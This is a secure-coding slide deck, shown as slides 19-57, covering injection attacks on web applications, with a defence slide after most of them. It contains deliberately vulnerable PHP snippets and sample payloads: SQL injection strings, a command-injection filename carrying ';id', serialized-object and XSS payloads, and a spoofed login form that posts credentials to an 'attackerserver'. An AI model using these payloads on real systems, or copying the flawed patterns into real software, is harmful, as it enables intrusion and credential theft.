  • 19. •   SQL Injection •   Blind SQL Injecion •   Code Injection •   Command Injection •   LDAP Injection •   PHP Object Injection •   XSS •   Content Spoofing •   Log Forging •   Regular expression DoS Chapter 3 Injections 19
  • 20. Chapter 3 SQL Injection A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. 20
  • 21. Chapter 3 SQL Injection Username: Mike Password: ' OR '' = ' SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = ''; 21
  • 22. Chapter 3 Blind SQL Injection Blind SQL injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection. 22
  • 23. Chapter 3 Blind SQL Injection http://newspaper.com/items.php?id=2 SELECT title, description, body FROM items WHERE ID = 2 http://newspaper.com/items.php?id=2 and 1=2 SELECT title, description, body FROM items WHERE ID = 2 and 1=2 23
  • 24. Chapter 3 SQL Injection Protection •   Websec: SQL Injection Knowledge Base •   Php.net: SQL Injections Avoidance Techniques 24
  • 25. Chapter 3 Code Injection Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. 25
  • 26. Chapter 3 Code Injection $myvar = "varname"; $x = $_GET['arg']; eval("$myvar = $x;"); eval = evil 01. 02. 03. 26
  • 27. Chapter 3 Code Injection Protection •   Don't use eval(). •   Don't use eval(), please. •   Ok, than don't trust any input. •   Any means any. 27
  • 28. Chapter 3 Command Injection Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. 28
  • 29. Chapter 3 Command Injection print("Please specify the name of the file to delete<br>"); $file = $_GET['filename']; system("rm $file"); Request: http://127.0.0.1/delete.php?filename=bob.txt;id Response: Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data) 01. 02. 03. 01. 02. 29
  • 30. Chapter 3 Command Injection Protection •   Don't use input in commands where possible •   Validate input •   Escape input 30
  • 31. Chapter 3 LDAP Injection LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. 31
  • 32. Chapter 3 LDAP Injection $ldapSearchQuery = "(cn=" + $userName + ")"; •   * •   jonys) (| (password = * ) 32
  • 33. Chapter 3 LDAP Injection Protection •   Escape user input: •   &, !, |, =, <, >, ,, +, -, ", ', ; used in DN - Requires escape •   (, ), , *, /, NUL used in Filter - Requires {ASCII} escape 33
  • 34. Chapter 3 PHP Object Injection PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of attacks using object unserialization or destruction. 34
  • 35. PHP Object Injection class Example1 { public $cache_file;   function __destruct() { $file = "/var/www/cache/tmp/{$this->cache_file}"; if (file_exists($file)) @unlink($file); } }   // some PHP code... $user_data = unserialize($_GET['data']); // some PHP code... http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";} 01. 02. 03. 04. 05. 06. 07. 08. 09. 10. 11. 12. 13. 35
  • 36. PHP Object Injection class Example2 { private $hook;   function __wakeup() { if (isset($this->hook)) eval($this->hook); } }   // some PHP code... $user_data = unserialize($_COOKIE['data']); // some PHP code... Cookie: data=O:8:"Example2":1:{s:4:"hook";s:10:"phpinfo();";} 01. 02. 03. 04. 05. 06. 07. 08. 09. 10. 11. 12. 13. 36
  • 37. Chapter 3 PHP Object Injection Protection •   Don't unserialize user input, use JSON functions instead •   Validate data in __wakeup() 37
  • 38. Chapter 3 Cross-site Scripting (XSS) Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into trusted web sites. •   Stored •   Reflected •   DOM Based 38
  • 39. Chapter 3 Cross-site Scripting (XSS) <?php $employeeId = $_GET['employee_id']; ... ?> Exmployee ID: <?php echo $employeeId ?> http://testsite.com/vuln.php?employee_id=123<script>alert(1)</script> 01. 02. 03. 04. 05. 39
  • 40. Cross-site Scripting (XSS) http://www.some.site/page.html?default=French Select your language: <select><script> document.write("<OPTION value=1>"+document.location.href.substring( document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select> http://www.some.site/page.html?default=<script>alert(document.cookie)</script> 01. 02. 03. 04. 05. 06. 40
  • 41. Chapter 3 XSS Protection •   XSS Prevention Cheat Sheet •   DOM based XSS Prevention Cheat Sheet •   XSS Filter Evasion Cheat Sheet 41
  • 42. Chapter 3 XSS Protection 1.  Never Insert Untrusted Data Except in Allowed Locations 2.  HTML Escape Before Inserting Untrusted Data into HTML Element Content 3.  Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes 4.  JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values 5.  HTML escape JSON values in an HTML context and read the data with JSON.parse 6.  CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values 7.  URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values 8.  Sanitize HTML Markup with a Library Designed for the Job 9.  Prevent DOM-based XSS 42
  • 43. Chapter 3 DOM Based XSS Protection 1.  HTML Escape then JavaScript Escape Before Inserting Untrusted Data into HTML Subcontext * 2.  JavaScript Escape Before Inserting Untrusted Data into HTML Attribute Subcontext * 3.  Be Careful when Inserting Untrusted Data into the Event Handler and JavaScript code Subcontexts * 4.  JavaScript Escape Before Inserting Untrusted Data into the CSS Attribute Subcontext * 5.  URL Escape then JavaScript Escape Before Inserting Untrusted Data into URL Attribute Subcontext * 6.  Populate the DOM using safe JavaScript functions or properties * — within the Execution Context 43
  • 44. Chapter 3 XSS Protection (Bonus) 1.  Use HTTPOnly cookie flag 2.  Implement Content Security Policy 3.  Use an Auto-Escaping Template System 4.  Use the X-XSS-Protection Response Header 44
  • 45. Chapter 3 Content Spoofing Content spoofing, also referred to as content injection, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user supplied data, an attacker can supply content to a web application that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain. 45
  • 46. Content Spoofing <?php $name = $_REQUEST ['name']; ?> <html> <h1>Welcome to the Internet!</h1> <br> <body> Hello, <?php echo $name; ?>! <p>We are so glad you are here!</p> </body> </html> 01. 02. 03. 04. 05. 06. 07. 08. 09. 10. 11. 46
  • 47. Content Spoofing http://127.0.0.1/vulnerable.php?name=test http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" name="password" /><br /><input type="submit" value="Login" /></form><!-- 47
  • 48. Chapter 3 Content Spoofing Protection See: XSS Protection 48
  • 49. Chapter 3 Log Forging Writing unvalidated user input to log files can allow an attacker to forge log entries or inject malicious content into the logs. 49
  • 50. Chapter 3 Log Forging $productId = Mage::app()->getRequest()->getParam('id'); try { $product->load($productId); } catch (Mage_Exception $exception) { Mage::log('Failed to load product with ID = ' + $productId); } http://magento.site/index.php?id=5n2016-04-19T15:13:24+00:00 ERR (3): Payment was successful for order #100000156, but Magento was not able to complete the order. — Hello! I just payed 500$ for a laptop, order # is 100000156, my credit card was charged, but the site showed an error. Could you maybe check your log files? 01. 02. 03. 04. 05. 06. 50
  • 51. Chapter 3 Regular expression DoS The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly 51
  • 52. ^(a+)+$ Chapter 3 Regular expression DoS •   Input: 'aaaaX' — 16 possible paths •   Input: 'aaaaaaaaaaaaaaaaX' — 65536 possible paths •   The number is double for each additional a. 52
  • 53. Chapter 3 ReDoS: Evil Regexes A Regex is called "evil" if it can stuck on crafted input. Evil Regex pattern contains: •   Grouping with repetition •   Inside the repeated group: •   Repetition •   Alternation with overlapping 53
  • 54. Chapter 3 ReDoS: Evil Regexes (a+)+ ([a-zA-Z]+)* (a|aa)+ (a|a?)+ (.*a){x} // for x > 10 All the above are susceptible to the input aaaaaaaaaaaaaaaaaaaaaaaa! 54
  • 55. Chapter 3 ReDoS: Evil Regexes ^(([a-z])+.)+[A-Z]([a-z])+$ 55
  • 56. Chapter 3 Regular expression DoS •   Don't misuse regexes. •   Avoid evil regexes. 56
  • 57. Chapter 4 Useful •   Path Traversal •   Full Path Disclosure •   Web Parameter Tampering •   Content Security Policy •   HTTP access control (CORS) •   Least Privilege Principle 57